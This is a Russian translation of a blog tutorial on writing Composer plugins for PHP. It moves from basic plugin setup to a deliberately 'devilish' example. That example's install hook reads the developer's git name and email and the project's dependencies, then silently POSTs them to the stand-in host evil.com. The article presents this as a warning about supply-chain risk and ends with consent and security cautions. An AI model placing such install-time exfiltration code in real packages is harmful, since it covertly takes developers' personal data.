Pull to refresh

Опьяняющая сила Composer Plugins

Reading time 6 min
Views 12K
Original author: Christopher Pitt
Composer — это самый важный инструмент в наборе современного PHP-разработчика. Времена ручного управления зависимостями остались в далеком прошлом, и их место заняли такие замечательные вещи как Semver. Вещи, которые помогают нам спать по ночам, ведь мы можем обновлять наши зависимости не обрушивая все вокруг.
neanderthal smashing rocks

Хоть мы и используем Composer довольно часто, не все знают о том, как расширить его возможности. Такая мысль даже не возникает, ведь он и так делает свою работу хорошо по-умолчанию, и кажется, что это не стоит времени или усилий, чтобы попытаться или хотя бы изучить. Даже в официальной документации обходят стороной этот вопрос. Наверное, потому что никто не спрашивает…

Однако, недавние изменения сделали разработку плагинов для Composer намного легче. Сам же Composer также недавно перешел из альфа-версии в бету, пожалуй, это самый консервативный цикл релизов из когда-либо задуманных. Этот инструмент, который изменил современный PHP-мир, сделал его таким, каким мы видим его сейчас. Этот краеугольный камень профессиональной разработки PHP. Он просто перешел из альфы в бету.

Итак, сегодня я подумал, что мне бы хотелось исследовать возможности composer-плагинов, и по ходу дела создать немного свежей документации.

Вы можете найти код этого плагина на Github.

Приступая к работе


Для начала, нам нужно создать репозиторий с плагином, отдельно от приложения, в котором мы будем его использовать. Плагины устанавливаются как и обычные зависимости. Давайте созданим новую папку и положим туда composer.json файл:
{
    "type": "composer-plugin",
    "name": "habrahabr/plugin",
    "require": {
        "composer-plugin-api": "^1.0"
    }
}

Каждая из этих строчек важна! Мы присваиваем этому плагину тип composer-plugin для того, чтобы иметь доступ к хукам жизненного цикла Composer, которые мы будем использовать.

Мы даем имя плагину, чтобы наше приложение могло добавить его в зависимости. Вы можете использовать все остальные переменные по вашему усмотрению, но запомните как вы назвали плагин, это нам понадобится позже.

Также необходимо проставить зависимость с composer-plugin-api. Указанная версия важна, потому что наш плагин будет рассматриваться как совместимый с определенной версией API плагинов, что в свою очередь влияет на такие вещи, как, например, метод подписей.

Далее нам нужно указать класс для автозагрузки плагина:
"autoload": {
    "psr-4": {
        "HabraHabr\\": "src"
    }
},
"extra": {
    "class": "HabraHabr\\Plugin"
}

Создаем папку src с файлом Plugin.php. Вот код, который отработает на первом хуке в жизненном цикле Composer:
namespace HabraHabr;

use Composer\Composer;
use Composer\IO\IOInterface;
use Composer\Plugin\PluginInterface;

class Plugin implements PluginInterface
{
    public function activate(Composer $composer, IOInterface $io)
    {
        print "hello world";
    }
}

PluginInterface описывает наличие публичного метода activate, который вызывается после загрузки плагина. Давайте убедимся, что наш плагин работае. Перейдем в наше приложение и создадим для него composer.json:
{
    "name": "habrahabr/app",
    "require": {
        "habrahabr/plugin": "*"
    },
    "repositories": [
        {
            "type": "path",
            "url": "../habrahabr-plugin"
        }
    ],
    "minimum-stability": "dev",
    "prefer-stable": true
}

Это значительно проще, чем раньше и больше похоже на то, как люди будут использовать ваш плагин. Лучшим решением было бы выпустить стабильные версии вашего плагина через Packagist, но пока вы разрабатываете и так нормально. Конфиг сообщает Composer'у что нужно запросить любые имеющиеся версии habrahabr/plugin и указывает источник для зависимости.

Путь к репозиторию относительный, поэтому Composer автоматически сделает symlink и заботится об этом вам не придется. И раз уж мы завязываемся на нестабильной зависимости, то давайте укажем минимально-требуемый уровень как dev.

В подобных ситуациях все же будет предпочтительней использовать стабильные версии библиотек там, где это возможно...

Теперь при запуске composer install из папки приложения вы увидите сообщение hello world! И все это без какого либо размещения кода на на github или Packagist.

Я рекомендую использовать команду rm -rf vendor composer.lock; composer install во время разработки, она позволит сбросить приложение/плагин к исходному состоянию. Особенно это пригодится, когда вы начнете работать с папками для установки!

Исследуем возможности


Также хорошей идеей будет поставить в зависимости composer/composer, это упростит нам работу с интерфейсами и классами, которые в будущем нам понадобятся.

Большую часть того, что вы узнаете о плагинах, вы можете найти глядя на исходные коды Composer. В качестве альтернативы можно воспользоваться дебаггером и проверить весь ход исполнения, начиная с метода activate. Также, если вы используете IDE, например PHPStorm, наличие исходников облегчит изучение и поможет легко перемещаться между вашим кодом и кодом менеджера зависимостей.

Например, мы можем проинспектировать $composer->getPackage(), чтобы увидеть для чего нужна та или иная переменная в файле composer.json. Также Composer предоставляет возможность задавать вопросы во время процесса установки, используя $io->ask("...").

Давайте это используем!


Начнем же наконец-то делать что-то практичное и, возможно, немного дьявольское! Давайте сделаем так, чтобы наш плагин отслеживал действия пользователей и зависимости, которые они требуют. Начнем с поиска их имени и почты, указанных в git:
public function activate(Composer $composer, IOInterface $io)
{
    exec("git config --global user.name", $name);
    exec("git config --global user.email", $email);

    $payload = [];

    if (count($name) > 0) {
        $payload["name"] = $name[0];
    }

    if (count($email) > 0) {
        $payload["email"] = $email[0];
    }
}

Имена пользователей и адреса электронной почты обычно хранятся в глобальном конфиге git, команда git config --global user.name, выполненная в терминале, вернет их. Выполнив их через exec мы получим результаты в нашем плагине.

Теперь, давайте отследим имя приложения (если оно определено), а также набор зависимостей и их версий. То же самое сделаем для dev-зависимостей, сделаем обеих групп общий метод:
private function addDependencies($type, array $dependencies, array $payload)
{
    $payload = array_slice($payload, 0);

    if (count($dependencies) > 0) {
        $payload[$type] = [];
    }

    foreach ($dependencies as $dependency) {
        $name = $dependency->getTarget();
        $version = $dependency->getPrettyConstraint();

        $payload[$type][$name] = $version;
    }

    return $payload;
}

Мы получаем название и ограничения по версии для каждой из библитоек и добавляем их в массив $payload. Вызов array_slice гарантирует нам отсутствие побочных эффектов этого метода, при многократном вызове мы получим точно такие же результаты.

Подобную реазилацию часто называют pure function, или примером использования неизменяемых переменных.

Теперь давайте используем этот метод и передадим ему массивы с зависимостями:
public function activate(Composer $composer, IOInterface $io)
{
    // ...get user details

    $app = $composer->getPackage()->getName();

    if ($app) {
        $payload["app"] = $app;
    }

    $payload = $this->addDependencies(
        "requires",
        $composer->getPackage()->getRequires(),
        $payload
    );

    $payload = $this->addDependencies(
        "dev-requires",
        $composer->getPackage()->getDevRequires(),
        $payload
    );
}

И наконец, мы можем отправить эти данные куда-нибудь:
public function activate(Composer $composer, IOInterface $io)
{
    // ...get user details

    // ...get project details

    $context = stream_context_create([
        "http" => [
            "method" => "POST",
            "timeout" => 0.5,
            "content" => http_build_query($payload),
        ],
    ]);

    @file_get_contents("https://evil.com", false, $context);
}

Мы могли бы использовать Guzzle для этого, но file_get_contents работает также хорошо. По сути, все что нужно сделать — POST запрос на https://evil.com с сериализированными данными.

Будь хорошим


Я ни в коем случае не призываю вас собирать в тайне собирать пользовательские данные. Но, возможно, полезно знать, сколько данных может кто-то собрать, с помощью простой зависимость к хорошо продуманному Composer-плагину.

Конечно, можно использовать опцию composer install --no-plugins, но множество фреймворков и систем управления контентом зависят от плагинов, требующихся для их правильной установки.

Несколько дополнительных предупреждений:
  1. Если вы собираетесь использовать exec, фильтруйте и проверяйте любые данные, которые не указаны жестко в коде. В противном случае вы создаете вектор атаки на ваш код.
  2. Если вы отправляете данные, отправляйте их по HTTPS. Иначе другие люди доберутся до них.
  3. Не отслеживайте пользовательские данные без согласия. Задавайте вопрос перед тем, как начать сбор, делайте это каждый раз! Что-то вроде IOInterface::ask("...") — как раз то, что вам нужно...

Помогла ли вам эта статья? Возможно, у вас есть идея для плагина; например свой плагин-установщик для библиотек, или плагин, который загружает оффлайн документацию для популярных проектов. Дайте знать в комментариях ниже…
Tags:
Hubs:
+8
Comments 10
Comments Comments 10

Articles